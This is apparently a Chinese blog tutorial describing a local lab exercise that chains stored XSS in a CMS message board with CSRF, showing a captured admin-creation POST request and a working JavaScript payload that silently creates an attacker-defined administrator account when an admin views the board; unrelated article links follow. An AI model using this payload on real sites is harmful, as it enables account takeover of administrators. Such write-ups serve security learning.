xss+csrf项目实例

2024-06-17 02:44
文章标签 项目 实例 xss csrf

本文主要是介绍xss+csrf项目实例,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

项目背景:

如下:我们是在一个类似文章管理系统的网站上面发现的该漏洞。我们将其运行在本地的phpstudy集成环境上面。

源码地址下载链接:https://pan.baidu.com/s/1MpnSAq7a_oOcGh4XgPE-2w 
提取码:4444

考察内容:

本次实验使用的存储型xss与csrf的联合使用。我们使用这两个漏洞可以使当管理员查看留言板后自动触发,使其自动创建一个管理员账号。本网站并没有使用token值来防止csrf,所以我们才能够利用。

前提:我们是在拥有管理员权限的情况下进行的。

大致流程:

1:分析,发现存储型xss漏洞

2:发现该网站并无token值,可以进行csrf

3:使用js伪造创建管理员的form表单

4:当管理员查看留言板后自动触发xss,创建一个攻击者自己定义的管理员账号。

开始实验:

1:发现存储xss

发现该网站存在一个留言板,其中的内容会存入数据库中,管理员会不定期去查看留言板中的内容。如下:经过测试我们发现当我们将恶意的js代码放到内容板块中存入数据库,当管理员去查看留言信息后就会自动触发js恶意代码:

管理员查看留言板:可以发现自动弹窗了,说明这里存在一个存储型xss。

2:该网站并没有使用token值来防止csrf,接下来我们使用抓包工具burp suite来抓创建管理员的包,需要打开代理设置,指向抓包工具burp suite(这个操作比较简单,不会的可以进行百度):

创建管理员页面:

抓包:

POST /admin/user.action.php HTTP/1.1
Host: cms:1234
Content-Length: 94
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://cms:1234
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://cms:1234/admin/user.add.php?act=add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: username=admin; userid=1; PHPSESSID=0m903rglk205acbq8ol191q271
Connection: closeact=add&username=2&password=2&password2=2&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0

通过对抓到的包分析:我们可以发现该包使用的是POST方式进行提交,将参数提交到/admin/user.action.php进行处理。所以我们就可以根据这个包中的内容进行伪造。

3:使用js伪造创建管理员账号的form表单:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://cms:1234/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=DJJ&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

整个js的操作是创建管理员的操作,不过是由js自动触发。

xmlhttp.open:提交地址

xmlhttp.setRequestHeader:post的请求头

xmlhttp.send:post中的参数(创建的账号,密码等)

4:将伪造的恶意js代码上传留言板,当管理员查看留言信息后自动触发,创建一个新的管理员账号。

5:管理员查看留言板,触发存储xss,创建管理员账号。

如下:当我们查看留言板后,在去查看管理员账号信息发现已经自动创建了一个我们定义的管理员账号。

这篇关于xss+csrf项目实例的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1068271

相关文章

vite搭建vue3项目的搭建步骤

《vite搭建vue3项目的搭建步骤》本文主要介绍了vite搭建vue3项目的搭建步骤,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学... 目录1.确保Nodejs环境2.使用vite-cli工具3.进入项目安装依赖1.确保Nodejs环境

idea+spring boot创建项目的搭建全过程

《idea+springboot创建项目的搭建全过程》SpringBoot是Spring社区发布的一个开源项目,旨在帮助开发者快速并且更简单的构建项目,:本文主要介绍idea+springb... 目录一.idea四种搭建方式1.Javaidea命名规范2JavaWebTomcat的安装一.明确tomcat

pycharm跑python项目易出错的问题总结

《pycharm跑python项目易出错的问题总结》:本文主要介绍pycharm跑python项目易出错问题的相关资料,当你在PyCharm中运行Python程序时遇到报错,可以按照以下步骤进行排... 1. 一定不要在pycharm终端里面创建环境安装别人的项目子模块等,有可能出现的问题就是你不报错都安装

uni-app小程序项目中实现前端图片压缩实现方式(附详细代码)

《uni-app小程序项目中实现前端图片压缩实现方式(附详细代码)》在uni-app开发中,文件上传和图片处理是很常见的需求,但也经常会遇到各种问题,下面:本文主要介绍uni-app小程序项目中实... 目录方式一:使用<canvas>实现图片压缩(推荐,兼容性好)示例代码(小程序平台):方式二:使用uni

PyQt6 键盘事件处理的实现及实例代码

《PyQt6键盘事件处理的实现及实例代码》本文主要介绍了PyQt6键盘事件处理的实现示例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起... 目录一、键盘事件处理详解1、核心事件处理器2、事件对象 QKeyEvent3、修饰键处理(1)、修饰键类

MyCat分库分表的项目实践

《MyCat分库分表的项目实践》分库分表解决大数据量和高并发性能瓶颈,MyCat作为中间件支持分片、读写分离与事务处理,本文就来介绍一下MyCat分库分表的实践,感兴趣的可以了解一下... 目录一、为什么要分库分表?二、分库分表的常见方案三、MyCat简介四、MyCat分库分表深度解析1. 架构原理2. 分

linux查找java项目日志查找报错信息方式

《linux查找java项目日志查找报错信息方式》日志查找定位步骤:进入项目,用tail-f实时跟踪日志,tail-n1000查看末尾1000行,grep搜索关键词或时间,vim内精准查找并高亮定位,... 目录日志查找定位在当前文件里找到报错消息总结日志查找定位1.cd 进入项目2.正常日志 和错误日

在.NET项目中嵌入Python代码的实践指南

《在.NET项目中嵌入Python代码的实践指南》在现代开发中,.NET与Python的协作需求日益增长,从机器学习模型集成到科学计算,从脚本自动化到数据分析,然而,传统的解决方案(如HTTPAPI或... 目录一、CSnakes vs python.NET:为何选择 CSnakes?二、环境准备:从 Py

基于 Cursor 开发 Spring Boot 项目详细攻略

《基于Cursor开发SpringBoot项目详细攻略》Cursor是集成GPT4、Claude3.5等LLM的VSCode类AI编程工具,支持SpringBoot项目开发全流程,涵盖环境配... 目录cursor是什么?基于 Cursor 开发 Spring Boot 项目完整指南1. 环境准备2. 创建

SpringBoot+RustFS 实现文件切片极速上传的实例代码

《SpringBoot+RustFS实现文件切片极速上传的实例代码》本文介绍利用SpringBoot和RustFS构建高性能文件切片上传系统,实现大文件秒传、断点续传和分片上传等功能,具有一定的参考... 目录一、为什么选择 RustFS + SpringBoot?二、环境准备与部署2.1 安装 RustF